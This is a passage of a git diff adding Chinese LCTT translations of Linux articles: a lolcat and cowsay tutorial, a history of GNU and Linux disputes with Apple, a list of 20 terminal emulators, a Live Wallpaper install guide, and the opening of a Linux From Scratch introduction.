+![多彩的文字](http://www.tecmint.com/wp-content/uploads/2015/06/Colorful-Text.png) + +*多彩的文字* + +**注**: 注意, ❤ 是一个 unicode 字符。要安装 figlet,你需要像下面那样使用 yum 和 apt 来得到这个软件包: + + # apt-get figlet + # yum install figlet + # dnf install figlet + +**7. 给文本赋予彩虹颜色的动画:** + + $ echo I ❤ Tecmit | lolcat -a -d 500 + +![动的文本](http://www.tecmint.com/wp-content/uploads/2015/06/Animated-Text.gif) + +*动的文本* + +这里选项 `-a` 指的是 Animation(动画), `-d` 指的是 duration(持续时间)。在上面的例子中,持续 500 次动画。 + +**8. 在彩虹般的颜色下阅读 man 页(例如 `man ls`):** + + # man ls | lolcat + +![多彩地显示文件](http://www.tecmint.com/wp-content/uploads/2015/06/List-Files-Colorfully.png) + +*多彩地显示文件* + +**9. 通过管道连接 lolcat 和 cowsay。cowsay 是一个可配置的正在思考或说话的奶牛,这个程序也支持其他的动物。** + +使用下面的命令来安装 cowsay : + + # apt-get cowsay + # yum install cowsay + # dnf install cowsay + +安装后,使用下面的命令来显示在 cowsay 中的所有动物: + + # cowsay -l + +**样例输出** + + Cow files in /usr/share/cowsay/cows: + apt beavis.zen bong bud-frogs bunny calvin cheese cock cower daemon default + dragon dragon-and-cow duck elephant elephant-in-snake eyes flaming-sheep + ghostbusters gnu head-in hellokitty kiss kitty koala kosh luke-koala + mech-and-cow meow milk moofasa moose mutilated pony pony-smaller ren sheep + skeleton snowman sodomized-sheep stegosaurus stimpy suse three-eyes turkey + turtle tux unipony unipony-smaller vader vader-koala www + +通过管道连接 lolcat 和 cowsay 后的输出,并且使用了‘gnu’形象的 cowfile。 + + # cowsay -f gnu ☛ Tecmint ☚ is the best Linux Resource Available online | lolcat + +![使用 Lolcat 的 Cowsay](http://www.tecmint.com/wp-content/uploads/2015/06/Cowsay-with-Lolcat.png) + +*使用 Lolcat 的 Cowsay* + +**注**: 你可以在将 lolcat 和其他任何命令用管道连接起来在终端中得到彩色的输出。 + +**10. 你可以为最常用的命令创建别名来使得命令的输出呈现出彩虹般的色彩。你可以像下面那样为 ‘ls -l‘ 命令创建别名,这个命令输出一个目录中包含内容的列表。** + + # alias lolls="ls -l | lolcat" + # lolls + +![多彩的 Alias 命令](http://www.tecmint.com/wp-content/uploads/2015/06/Alias-Commands-with-Colorful.png) + +*多彩的 Alias 命令* + +你可以像上面建议的那样,为任何命令创建别名。为了使得别名永久生效,你需要添加相关的代码(上面的代码是 ls -l 的别名) 到 ~/.bashrc 文件中,并登出后再重新登录来使得更改生效。 + +现在就是这些了。我想知道你是否曾经注意过 lolcat 这个工具?你是否喜欢这篇文章?欢迎在下面的评论环节中给出你的建议和反馈。喜欢并分享我们,帮助我们传播。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/lolcat-command-to-output-rainbow-of-colors-in-linux-terminal/ + +作者:[Avishek Kumar][a] +译者:[FSSlc](https://github.com/FSSlc) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:https://linux.cn/article-2831-1.html +[2]:https://linux.cn/article-4128-1.html +[3]:https://linux.cn/article-4088-1.html +[4]:http://www.tecmint.com/13-basic-cat-command-examples-in-linux/ \ No newline at end of file diff --git a/published/201507/20150520 Is Linux Better than OS X GNU Open Source and Apple in History.md b/published/201507/20150520 Is Linux Better than OS X GNU Open Source and Apple in History.md new file mode 100644 index 0000000000..fef89825fe --- /dev/null +++ b/published/201507/20150520 Is Linux Better than OS X GNU Open Source and Apple in History.md @@ -0,0 +1,57 @@ +GNU、开源和 Apple 的那些黑历史 +============================================================================== +> 自由软件/开源社区与 Apple 之间的争论可以回溯到上世纪80年代,当时 Linux 的创始人称 Mac OS X 的核心就是“一堆废物”。还有其他一些软件史上的轶事。 + +![](http://thevarguy.com/site-files/thevarguy.com/files/imagecache/medium_img/uploads/2015/05/untitled_2.png) + +开源拥护者们与微软之间有着很长、而且摇摆的关系。每个人都知道这个。但是,在许多方面,自由或者开源软件的支持者们与 Apple 之间的争执则更加突出——尽管这很少受到媒体的关注。 + +需要说明的是,并不是所有的开源拥护者都厌恶苹果。从各种轶事中,我已经见过很多 Linux 的黑客玩耍 iPhone 和iPad。实际上,许多 Linux 用户是十分喜欢 Apple 的 OS X 系统的,以至于他们[创造了很多Linux的发行版][1],都设计得看起来像OS X。(顺便说下,[北朝鲜政府][2]就这样做了。) + +但是 Mac 的信徒与企鹅的信徒——即 Linux 社区(不包括别的,仅指自由与开源软件世界中的这一小部分)之间的关系,并不一直是完全的和谐。并且这绝不是一个新的现象,在我研究Linux和自由软件基金会历史的时候就发现了。 + +### GNU vs. Apple ### + +这场战争将回溯到至少上世纪80年代后期。1988年6月,Richard Stallman 发起了 [GNU][3] 项目,希望建立一个完全自由的类 Unix 操作系统,其源代码将会免费共享,[强烈指责][4] Apple 对 [Hewlett-Packard][5](HPQ)和 [Microsoft][6](MSFT)的诉讼,称Apple的声明中说别人对 Macintosh 操作系统的界面和体验的抄袭是不正确。如果 Apple 流行的话,GNU 警告到,这家公司“将会借助大众的新力量终结掉为取代商业软件而生的自由软件。” + +那个时候,GNU 对抗 Apple 的诉讼(这意味着,十分讽刺的是,GNU 正在支持 Microsoft,尽管当时的情况不一样),通过发布[“让你的律师远离我的电脑”按钮][7]。同时呼吁 GNU 的支持者们抵制 Apple,警告虽然 Macintosh 看起来是不错的计算机,但 Apple 一旦赢得了诉讼就会给市场带来垄断,这会极大地提高计算机的售价。 + +Apple 最终[输掉了这场诉讼][8],但是直到1994年之后,GNU 才[撤销对 Apple 的抵制][9]。这期间,GNU 一直不断指责 Apple。在上世纪90年代早期甚至之后,GNU 开始发展 GNU 软件项目,可以在其他个人电脑平台包括 MS-DOS 计算机上使用。[GNU 宣称][10],除非 Apple 停止在计算机领域垄断的野心,让用户界面可以模仿 Macintosh 的一些东西,否则“我们不会提供任何对 Apple 机器的支持。”(因此讽刺的是 Apple 在90年代后期开发的类 UNIX 系统 OS X 有一大堆软件来自GNU。但是那是另外的故事了。) + +### Torvalds 与 Jobs ### + +除去他对大多数发行版比较自由放任的态度,Linux内核的创造者 Liuns Torvalds 相较于 Stallman 和 GNU 过去对Apple 的态度和善得多。在他 2001 年出版的书”Just For Fun: The Story of an Accidental Revolutionary“中,Torvalds 描述到与 Steve Jobs 的一次会面,大约是 1997 年收到后者的邀请去讨论 Mac OS X,当时 Apple 正在开发中,但还没有公开发布。 + +“基本上,Jobs 一开始就试图告诉我在桌面上的玩家就两个,Microsoft 和 Apple,而且他认为我能为 Linux 做的最好的事,就是从了 Apple,努力让开源用户去支持 Mac OS X” Torvalds 写道。 + +这次会谈显然让 Torvalds 很不爽。争吵的一点集中在 Torvalds 对 Mach 技术上的藐视,对于 Apple 正在用于构建新的 OS X 操作系统的内核,Torvalds 称其“一堆废物。它包含了所有你能做到的设计错误,并且甚至打算只弥补一小部分。” + +但是更令人不快的是,显然是 Jobs 在开发 OS X 时入侵开源的方式(OS X 的核心里上有很多开源程序):“他有点贬低了结构的瑕疵:谁在乎基础操作系统这个真正的 low-core 东西是不是开源,如果你有 Mac 层在最上面,这不是开源?” + +一切的一切,Torvalds 总结到,Jobs “并没有太多争论。他仅仅很简单地说着,胸有成竹地认为我会对与 Apple 合作感兴趣”。“他一无所知,不能去想像还会有人并不关心 Mac 市场份额的增长。我认为他真的感到惊讶了,当我表现出对 Mac 的市场有多大,或者 Microsoft 市场有多大的毫不关心时。” + +当然,Torvalds 并没有对所有 Linux 用户说起过。他对于 OS X 和 Apple 的看法从 2001 年开始就渐渐软化了。但实际上,早在2000年,Linux 社区的领导角色表现出对 Apple 及其高层的傲慢的深深的鄙视,可以看出一些重要的东西,关于 Apple 世界和开源/自由软件世界的矛盾是多么的根深蒂固。 + +从以上两则历史上的花边新闻中,可以看到关于 Apple 产品价值的重大争议,即是否该公司致力于提升其创造的软硬件的质量,或者仅仅是借市场的小聪明获利,让Apple产品卖出更多的钱而不是创造等同其价值的功能。但是不管怎样,我会暂时置身讨论之外。 + +-------------------------------------------------------------------------------- + +via: http://thevarguy.com/open-source-application-software-companies/051815/linux-better-os-x-gnu-open-source-and-apple- + +作者:[Christopher Tozzi][a] +译者:[wi-cuckoo](https://github.com/wi-cuckoo) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://thevarguy.com/author/christopher-tozzi +[1]:https://www.linux.com/news/software/applications/773516-the-mac-ifying-of-the-linux-desktop/ +[2]:http://thevarguy.com/open-source-application-software-companies/010615/north-koreas-red-star-linux-os-made-apples-image +[3]:http://gnu.org/ +[4]:https://www.gnu.org/bulletins/bull5.html +[5]:http://www.hp.com/ +[6]:http://www.microsoft.com/ +[7]:http://www.duntemann.com/AppleSnakeButton.jpg +[8]:http://www.freibrun.com/articles/articl12.htm +[9]:https://www.gnu.org/bulletins/bull18.html#SEC6 +[10]:https://www.gnu.org/bulletins/bull12.html diff --git a/published/201507/20150526 20 Useful Terminal Emulators for Linux.md b/published/201507/20150526 20 Useful Terminal Emulators for Linux.md new file mode 100644 index 0000000000..318b686aca --- /dev/null +++ b/published/201507/20150526 20 Useful Terminal Emulators for Linux.md @@ -0,0 +1,301 @@ +20 款优秀的 Linux 终端仿真器 +================================================================================ + +终端仿真器是一款用其它显示架构重现可视终端的计算机程序。换句话说就是终端仿真器能使哑终端看似像一台连接上了服务器的客户机。终端仿真器允许最终用户用文本用户界面和命令行来访问控制台和应用程序。(LCTT 译注:终端仿真器原意指对大型机-哑终端方式的模拟,不过在当今的 Linux 环境中,通常指通过远程或本地方式连接的伪终端,俗称“终端”。) + +![Linux Terminal Emulators](http://www.tecmint.com/wp-content/uploads/2014/01/Linux-Terminal-Emulators1.jpeg) + +*20款Linux终端仿真器* + +你能从开源世界中找到大量的终端仿真器,它们有些拥有大量的特性而有些则反之。为了能更好地了解它们的特性,我们收集了一份优秀的Linux终端仿真器清单。每一款都列出了它们各自的描述和特性以及软件界面截图和下载链接。 + +### 1. Terminator ### + +Terminator是一款先进且强大的终端仿真器,它支持多终端窗口。这款仿真器可以完全自定义。你可以更改它的界面尺寸、颜色,给它设置不同的形状。拥有高用户友好性且使用起来很有乐趣。 + +#### Terminator的特性 #### + +- 自定义配置和配色方案,根据你的需要设置尺寸。 +- 使用插件来提供更多功能。 +- 快捷键可以加快普通操作。 +- 可以把终端窗口分割成几个虚拟终端并把它们根据需要重新调整尺寸。 + +![Terminator Terminal](http://www.tecmint.com/wp-content/uploads/2014/01/Terminator-Emulator.jpeg) + +*Terminator 终端* + +- [Terminator 主页][1] +- [下载和安装指引][2] + +### 2. Tilda ### + +Tilda是一款漂亮的下拉式终端,基于GTK+,一键单击你就可以呼出一个新的或隐藏着的Tilda窗口。你也可以用你所选择的颜色来更改文本颜色和终端背景颜色。 + +#### Tilda的特性 #### + +- 高度定制的选项界面设置。 +- 你可以给Tilda设置透明度。 +- 优秀的嵌入式配色方案。 + +![Tilda Terminal](http://www.tecmint.com/wp-content/uploads/2014/01/Tilda-Emulator.jpeg) + +*Tilda 终端* + +- [Tilda 主页][3] + +### 3. Guake ### + +Guake是一款基于python的下拉式终端,诞生于GNOME桌面环境。一键调出,再按一下就能隐藏。它的设计构思来源于FPS (第一人称射击) 游戏 Quake,其主要目标是容易访问。 + +Guake与Yakuaka和Tilda非常相似,不过它是一个集上述二者的优点于一体的基于GTK的程序。Guake完全是用Python和C的片段写成的(全局热键部分)。 + +![Guake Terminal](http://www.tecmint.com/wp-content/uploads/2014/01/Guake-Terminal.jpeg) + +*Guake 终端* + +- [Guake 主页][4] + +### 4. Yakuake ### + +Yakuake (Yet Another Kuake) 是一款基于KDE的下拉式终端仿真器,它与Guake在功能上非常相似。它的设计构思也是受FPS游戏Quake的启发。 + +Yakuake从根本上说是一款KDE应用程序,它能非常轻松地安装在KDE桌面上,但是如果你试着将它安装在GNOME桌面上,你将会安装大量的依赖包。 + +#### Yakuake的特性 #### + +- 顺畅地从屏幕顶端弹出 +- 标签式界面 +- 可配置的尺寸和动画速度 +- 可定制 + +![Yakuake Terminal](http://www.tecmint.com/wp-content/uploads/2014/01/Yakuake-Terminal.jpeg) + +*Yakuake 终端* + +- [Yakuake 主页][5] + +### 5. ROXTerm ### + +ROXterm是又一款轻量级终端仿真器,旨在提供与“GNOME终端”相似的特性。它原本创造出来是为了避免使用Gnome库从而更少占用空间和更快启动,并使用独立的小程序来显示配置界面(GUI), 但是随着时间的流逝,它的角色就转变为给那些高级用户带来更高层次的特性。 + +然而,它比GNOME终端更加具有可制定性,并且对于那些经常使用终端的高级用户更令人期望。它能和GNOME桌面环境完美结合并在终端中提供像拖拽项目那样的特性。 + +![Roxterm Terminal](http://www.tecmint.com/wp-content/uploads/2014/01/Roxterm-Terminal.jpeg) + +*Roxterm 终端* + +- [ROXTerm 主页][6] + +### 6. Eterm ### + +Eterm是最轻量级的一款彩色终端仿真器,是作为xterm的替代品而被设计出来。它是以一种自由选择的理念设计的,带来了更强大、灵活、用户自主把控的终端。 + +![Eterm Terminal](http://www.tecmint.com/wp-content/uploads/2014/01/Eterm-Terminal.jpeg) + +*Eterm 终端* + +- [Eterm 主页][7] + +### 7. Rxvt ### + +Rxvt 的意思是扩展虚拟终端,它是一款彩色终端仿真器,是为那些不需要一些诸如Tektronix 4014仿真和toolkit-style可配置性等特性的高级用户而生的xterm替代品。 + +![Rxvt Terminal](http://www.tecmint.com/wp-content/uploads/2014/01/Rxvt-Terminal.jpeg) + +*Rxvt 终端* + +- [Rxvt 主页][8] + +### 8. Wterm ### + +Wterm是另一款以rxvt项目为基础的轻量级彩色终端仿真器。它所包含的特性包括设置背景图片、透明度、反向透明度和大量的设置或运行环境选项让它成为一款可高度自定义的终端仿真器。 + +![wterm Terminal](http://www.tecmint.com/wp-content/uploads/2014/01/wterm-Terminal-.jpeg) + +*wterm 终端* + +- [Wterm 主页][9] + +### 9. LXTerminal ### + +LXTerminal是一款基于VTE的终端仿真器,默认运行于没有任何多余依赖的LXDE(轻量级X桌面环境)下。这款终端有很多很棒的特性。 + +#### LXTerminal的特性 #### + +- 多标签式支持 +- 支持常规命令如cp, cd, dir, mkdir, mvdir +- 隐藏菜单栏以保证足够界面空间 +- 更改配色方案 + +![lxterminal Terminal](http://www.tecmint.com/wp-content/uploads/2014/01/lxterminal-Terminal.jpeg) + +*lxterminal 终端* + +- [LXTerminal 主页][10] + +### 10. Konsole ### + +Konsole是另一款强大的基于KDE的免费终端仿真器,最初由Lars Doelle创造。 + +#### Konsole的特性 #### + +- 多标签式终端 +- 半透明背景 +- 支持拆分视图模式 +- 目录和SSH书签化 +- 可定制的配色方案 +- 可定制的按键绑定 +- 终端中的活动通知警告 +- 增量搜索 +- 支持Dolphin文件管理器 +- 支持导出显示为普通文本和HTML格式 + +![Konsole Terminal](http://www.tecmint.com/wp-content/uploads/2014/01/Konsole-Terminal.jpeg) + +*Konsole 终端* + +- [Konsole 主页][11] + +### 11. TermKit ### + +TermKit是一款漂亮简洁的终端,其目标是用WebKit渲染引擎在基于应用程序的命令行中构建出GUI视图(LCTT 译注:这个描述比较模糊,请参考截图,或安装一个体验下),WebKit渲染引擎在Google Chrome和Chromium中广泛使用。TermKit起初是为Mac和Windows设计的,但是由于Floby对TermKit 构建了分支,现在你可以将它安装在Linux发行版上并感受TermKit带来的魅力。 + +![TermKit Terminal](http://www.tecmint.com/wp-content/uploads/2014/01/TermKit-Terminal.jpeg) + +*TermKit 终端* + +- [TermKit 主页][12] + +### 12. st ### + +st是一款简单的X Window终端。 + +![st terminal](http://www.tecmint.com/wp-content/uploads/2014/01/st-terminal.png) + +*st 终端* + +- [st 主页][13] + +### 13. Gnome 终端 ### + +GNOME终端是一款在GNOME桌面环境下自带的终端仿真器,由Havoc Pennington和其他一些人共同开发。它允许用户在GNOME环境下可以使用一个真实的Linux shell来运行命令。GNOME终端是模仿了xterm终端仿真器,并有一些相似的特性。 + +Gnome终端支持多配置文件,用户可以为他们的账户创建多个配置文件,每个配置文件能自定义配置选项,如字体、颜色、背景图片、行为习惯等等,并能分别给每个配置文件取名。它也支持鼠标事件、url探测、多标签等。 + +![Gnome Terminal](http://www.tecmint.com/wp-content/uploads/2014/01/Gnome-terminal.jpg) + +*Gnome 终端* + +- [Gnome 终端][14] + +### 14. Final Term ### + +Final Term是一款漂亮的开源终端仿真器,在这一个单独的界面里蕴藏着一些令人激动的特性和方便的功能。虽然它仍然有待改进,但是它提供了一些重要的特性比如“语义”文本菜单、智能的命令行补全、GUI终端控制、全能的快捷键、彩色支持等等。以下动图抓取并演示了它们的一些特性,点开来看看吧。 + +![FinalTerm Terminal](http://www.tecmint.com/wp-content/uploads/2014/01/FinalTerm.gif) + +*FinalTerm 终端* + +- [Final Term][15] + +### 15. Terminology ### + +Terminology是又一款新的现代化终端仿真器,为Enlightenment桌面创造,但也能用于其它桌面环境。它有一些独一无二的棒极了的特性,这是其它终端仿真器所不具备的。 + +抛开这些特性,terminology甚至还提供了你无法从其它仿真器看到的东西,比如图像、视频和文档的缩略图预览,它允许你从Terminology直接就能看到那些文件。 + +你可以来看看Terminology的开发人员制作的小视频(视频画质不太清晰,但足以让你了解Terminology了): https://www.youtube.com/ibPziLRGvkg + +- [Terminology][16] + +### 16. Xfce4 终端 ### + +Xfce终端是一款轻量级的现代化终端仿真器,它简单易用,为Xfce桌面环境设计。它最新的一个版本有许多新的炫酷特性,比如搜索对话框、标签颜色转换器、像Guake或Yakuake一样的下拉式控制台等等。 + +![Xfce Terminal](http://www.tecmint.com/wp-content/uploads/2014/01/xfce-terminal.jpg) + +*Xfce 终端* + +- [Xfce4 终端][17] + +### 17. xterm ### + +xterm应用是一款标准的在X Window系统上的终端仿真器。它保持了对DEC VT102和Tektronix 4014终端的兼容,以支持那些不能直接使用窗口系统的应用。 + +![xterm Terminal](http://www.tecmint.com/wp-content/uploads/2014/01/xterm.jpg) + +*xterm 终端* + +- [xterm][18] + +### 18. LilyTerm ### + +LilyTerm是一款基于libvte的开源终端仿真器,这款不太出名的仿真器追求的是快速和轻量级。LilyTerm也包括一些关键特性: + +- 支持标签、彩色以及标签重新排序 +- 通过快捷键管理标签 +- 支持背景透明化和饱和度调整 +- 支持用户创建配置文件 +- 若干个自定义选项 +- 广泛支持UTF-8 + +![Lilyterm Terminal](http://www.tecmint.com/wp-content/uploads/2014/01/Lilyterm.jpg) + +*Lilyterm 终端* + +- [LilyTerm][19] + +### 19. Sakura ### + +Sakura是另一款不知名的Unix风格终端仿真器,是为命令行模式和基于文本的终端程序开发的。Sakura基于GTK和livte,自身特性不多,不过还是有一些自定义选项,比如多标签支持、自定义文本颜色、字体和背景图片、快速命令处理等等。 + +![Sakura Terminal](http://www.tecmint.com/wp-content/uploads/2014/01/sakura.jpg) + +*Sakura 终端* + +- [Sakura][20] + +### 20. rxvt-unicode ### + +rxvt-unicode (也称为urxvt) 是另一个高度可定制、轻量级和快速的终端仿真器,支持xft和unicode,由Marc Lehmann开发。它有许多显著特性,比如通过Unicode支持国际化语言,能显示多种字体类型并支持Perl扩展。 + +![rxvt unicode](http://www.tecmint.com/wp-content/uploads/2014/01/rxvt-unicode.png) + +*rxvt unicode* + +- [rxvt-unicode][21] + +如果你知道任何其它强大的Linux终端仿真器而上文未提及,欢迎在评论中与我们分享。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/linux-terminal-emulators/ + +作者:[Ravi Saive][a] +译者:[ZTinoZ](https://github.com/ZTinoZ) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/admin/ +[1]:https://launchpad.net/terminator +[2]:http://www.tecmint.com/terminator-a-linux-terminal-emulator-to-manage-multiple-terminal-windows/ +[3]:http://tilda.sourceforge.net/tildaabout.php +[4]:https://github.com/Guake/guake +[5]:http://extragear.kde.org/apps/yakuake/ +[6]:http://roxterm.sourceforge.net/index.php?page=index&lang=en +[7]:http://www.eterm.org/ +[8]:http://sourceforge.net/projects/rxvt/ +[9]:http://sourceforge.net/projects/wterm/ +[10]:http://wiki.lxde.org/en/LXTerminal +[11]:http://konsole.kde.org/ +[12]:https://github.com/unconed/TermKit +[13]:http://st.suckless.org/ +[14]:https://help.gnome.org/users/gnome-terminal/stable/ +[15]:http://finalterm.org/ +[16]:http://www.enlightenment.org/p.php?p=about/terminology +[17]:http://docs.xfce.org/apps/terminal/start +[18]:http://invisible-island.net/xterm/ +[19]:http://lilyterm.luna.com.tw/ +[20]:https://launchpad.net/sakura +[21]:http://software.schmorp.de/pkg/rxvt-unicode diff --git a/published/201507/20150527 Animated Wallpaper Adds Live Backgrounds To Linux Distros.md b/published/201507/20150527 Animated Wallpaper Adds Live Backgrounds To Linux Distros.md new file mode 100644 index 0000000000..384c188322 --- /dev/null +++ b/published/201507/20150527 Animated Wallpaper Adds Live Backgrounds To Linux Distros.md @@ -0,0 +1,108 @@ +动态壁纸给linux发行版添加活力背景 +================================================================================ +**我们知道你想拥有一个有格调的ubuntu桌面来炫耀一下 :)** + +![Live Wallpaper](http://i.imgur.com/9JIUw5p.gif) + +*Live Wallpaper* + +在linxu上费一点点劲搭建一个出色的工作环境是很简单的。今天,我们([重新][2])着重来探讨长驻你脑海中那些东西 :一款自由,开源,能够给你的截图增添光彩的工具。 + +它叫 **Live Wallpaper** (正如你猜的那样) ,它用由OpenGL驱动的一款动态桌面背景来代替标准的静态桌面背景。 + +最好的一点是:在ubuntu上安装它很容易。 + +### 动态壁纸主题 ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2015/05/animated-wallpaper-ubuntu-750x383.jpg) + +Live Wallpaper 不是此类软件唯一的一款,但它是最好的一款之一。 + +它附带很多不同的开箱即用的主题。 + +从精细的(‘noise’)到狂热的 (‘nexus’),包罗万象,甚至有受到Ubuntu Phone欢迎屏幕启发的obligatory锁屏壁纸。 + +- Circles — 带着‘evolving circle’风格的时钟,灵感来自于Ubuntu Phone +- Galaxy — 支持自定义大小,位置的旋转星系 +- Gradient Clock — 放在倾斜面上的polar时钟 +- Nexus — 亮色粒子火花穿越屏幕 +- Noise — 类似于iOS动态壁纸的Bokeh设计 +- Photoslide — 由文件夹(默认为 ~/Photos)内照片构成的动态网格相册 + +Live Wallpaper **完全开源**,所以没有什么能够阻挡天马行空的艺术家们用诀窍(当然还有耐心)来创造他们自己的精美主题。 + +### 设置 & 特点 ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2015/05/live-wallpaper-gui-settings.jpg) + +虽然某些主题与其它主题相比有更多的选项,但每款主题都可以通过某些方式来配置或者定制。 + +例如,Nexus主题中 (上图所示) 你可以更改脉冲粒子的数量,颜色,大小和出现频率。 + +首选项提供了 **通用选项** 适用于所有主题,包括: + +- 设置登录界面的动态壁纸 +- 自定义动画背景 +- 调节 FPS (包括在屏幕上显示FPS) +- 指定多显示器的行为 + +有如此多的选项,diy适用于你自己的桌面背景是很容易的。 + +### 缺陷 ### + +#### 没有桌面图标 #### + +Live Wallpaper在运行时,你无法在桌面添加,打开或者是编辑文件和文件夹。 + +首选项程序提供了一个选项来让你这样做(只是猜测)。也许是它只能在老版本中使用,在我们的测试中-测试环境为Ununtu 14.10,它不工作。但在测试中发现当把桌面壁纸设置成格式为png的图片文件时,这个选项有用,不需要是透明的png图片文件,只要是png图片文件就行了。 + +#### 资源占用 #### + +动态壁纸与标准的壁纸相比要消耗更多的系统资源。 + +我们并不是说任何时候都会消耗大量资源,但至少在我们的测试中是这样,所以低配置机器和笔记本用户要谨慎使用这款软件。可以使用 [系统监视器][2] 来追踪CPU 和GPU的负载。 + +#### 退出程序 #### + +对我来说最大的“bug”绝对是没有“退出”选项。 + +当然,动态壁纸可以通过托盘图标和首选项完全退出,那退出托盘图标呢?没办法。只能在终端执行命令‘pkill livewallpaper’。 + +### 怎么在 Ubuntu 14.04 LTS+ 上安装 Live Wallpaper ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2015/05/terminal-command-750x146.jpg) + +要想在Ubuntu 14.04 LTS 和更高版本中安装 Live Wallpaper,你首先需要把官方PPA添加进你的软件源。 +最快的方法是在终端中执行下列命令: + + sudo add-apt-repository ppa:fyrmir/livewallpaper-daily + + sudo apt-get update && sudo apt-get install livewallpaper + +你还需要安装 indicator applet,这样可以方便快速的打开或是关闭动态壁纸,从菜单选择主题,另外图形配置工具可以让你基于你自己的口味来配置每款主题。 + + sudo apt-get install livewallpaper-config livewallpaper-indicator + +所有都安装好之后你就可以通过Unity Dash来启动它和它的首选项工具了。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2015/05/live-wallpaper-app-launcher.png) + +让人不爽的是,安装完成后,程序不会自动打开托盘图标,而仅仅将它自己加入自动启动项,所以,快速来个注销 -> 登陆它就会出现啦。 + +### 总结 ### + +如果你正处在无聊呆板的桌面中,幻想有一个更有活力的生活,不妨试试。另外,告诉我们你想看到什么样的动态壁纸! + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2015/05/animated-wallpaper-adds-live-backgrounds-to-linux-distros + +作者:[Joey-Elijah Sneddon][a] +译者:[Love-xuan](https://github.com/Love-xuan) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:http://www.omgubuntu.co.uk/2012/11/live-wallpaper-for-ubuntu +[2]:http://www.omgubuntu.co.uk/2011/11/5-system-monitoring-tools-for-ubuntu diff --git a/published/201507/20150527 How to Develop Own Custom Linux Distribution From Scratch.md b/published/201507/20150527 How to Develop Own Custom Linux Distribution From Scratch.md new file mode 100644 index 0000000000..3bf454a476 --- /dev/null +++ b/published/201507/20150527 How to Develop Own Custom Linux Distribution From Scratch.md @@ -0,0 +1,93 @@ +LFS中文版手册发布:如何打造自己的 Linux 发行版 +================================================================================ +您是否想过打造您自己的 Linux 发行版?每个 Linux 用户在他们使用 Linux 的过程中都想过做一个他们自己的发行版,至少一次。我也不例外,作为一个 Linux 菜鸟,我也考虑过开发一个自己的 Linux 发行版。从头开发一个 Linux 发行版这件事情被称作 Linux From Scratch (LFS)。 + +在开始之前,我总结了一些有关 LFS 的内容,如下: + +**1. 那些想要打造他们自己的 Linux 发行版的人应该了解打造一个 Linux 发行版(打造意味着从头开始)与配置一个已有的 Linux 发行版的不同** + +如果您只是想调整下启动屏幕、定制登录页面以及拥有更好的外观和使用体验。您可以选择任何一个 Linux 发行版并且按照您的喜好进行个性化配置。此外,有许多配置工具可以帮助您。 + +如果您想打包所有必须的文件、引导加载器和内核,并选择什么该被包括进来,然后依靠自己编译这一切东西。那么您需要的就是 Linux From Scratch (LFS)。 + +**注意**:如果您只想要定制 Linux 系统的外表和体验,这个指南并不适合您。但如果您真的想打造一个 Linux 发行版,并且向了解怎么开始以及一些其他的信息,那么这个指南正是为您而写。 + +**2. 打造一个 Linux 发行版(LFS)的好处** + +- 您将了解 Linux 系统的内部工作机制 +- 您将开发一个灵活的适应您需求的系统 +- 您开发的系统(LFS)将会非常紧凑,因为您对该包含/不该包含什么拥有绝对的掌控 +- 您开发的系统(LFS)在安全性上会更好 + +**3. 打造一个Linux发行版(LFS)的坏处** + +打造一个 Linux 系统意味着将所有需要的东西放在一起并且编译之。这需要许多查阅、耐心和时间。而且您需要一个可用的 Linux 系统和足够的磁盘空间来打造 LFS。 + +**4. 有趣的是,Gentoo/GNU Linux 在某种意义上最接近于 LFS。Gentoo 和 LFS 都是完全从源码编译的定制的 Linux 系统** + +**5. 您应该是一个有经验的Linux用户,对编译包、解决依赖有相当的了解,并且是个 shell 脚本的专家。** + +了解一门编程语言(最好是 C 语言)将会使事情变得容易些。但哪怕您是一个新手,只要您是一个优秀的学习者,可以很快的掌握知识,您也可以开始。最重要的是不要在 LFS 过程中丢失您的热情。 + +如果您不够坚定,恐怕会在 LFS 进行到一半时放弃。 + +**6. 现在您需要一步一步的指导来打造一个 Linux 。LFS 手册是打造 LFS 的官方指南。我们的合作站点 tradepub 也为我们的读者制作了 LFS 的指南,这同样是免费的。 ### + +您可以从下面的链接下载 Linux From Scratch 的电子书: + +[![](http://www.tecmint.com/wp-content/uploads/2015/05/Linux-From-Scratch.gif)][1] + +下载: [Linux From Scratch][1] + +**7. 当前 LFS 的版本是 7.7,分为 systemd 版本和非 systemd 版本** + +LFS 的官方网站是: http://www.linuxfromscratch.org/ + +您可以在官网在线浏览 LFS 以及类似 BLFS 这样的相关项目的手册,也可以下载不同格式的版本。 + +- LFS (非 systemd 版本): + - PDF 版本: http://www.linuxfromscratch.org/lfs/downloads/stable/LFS-BOOK-7.7.pdf + - 单一 HTML 版本: http://www.linuxfromscratch.org/lfs/downloads/stable/LFS-BOOK-7.7-NOCHUNKS.html + - 打包的多页 HTML 版本: http://www.linuxfromscratch.org/lfs/downloads/stable/LFS-BOOK-7.7.tar.bz2 +- LFS (systemd 版本): + - PDF 版本: http://www.linuxfromscratch.org/lfs/downloads/7.7-systemd/LFS-BOOK-7.7-systemd.pdf + - 单一 HTML 版本: http://www.linuxfromscratch.org/lfs/downloads/7.7-systemd/LFS-BOOK-7.7-systemd-NOCHUNKS.html + - 打包的多页 HTML 版本: http://www.linuxfromscratch.org/lfs/downloads/7.7-systemd/LFS-BOOK-7.7-systemd.tar.bz2 + +**8. Linux 中国/LCTT 翻译了一份 LFS 手册(7.7,systemd 版本)** + +经过 LCTT 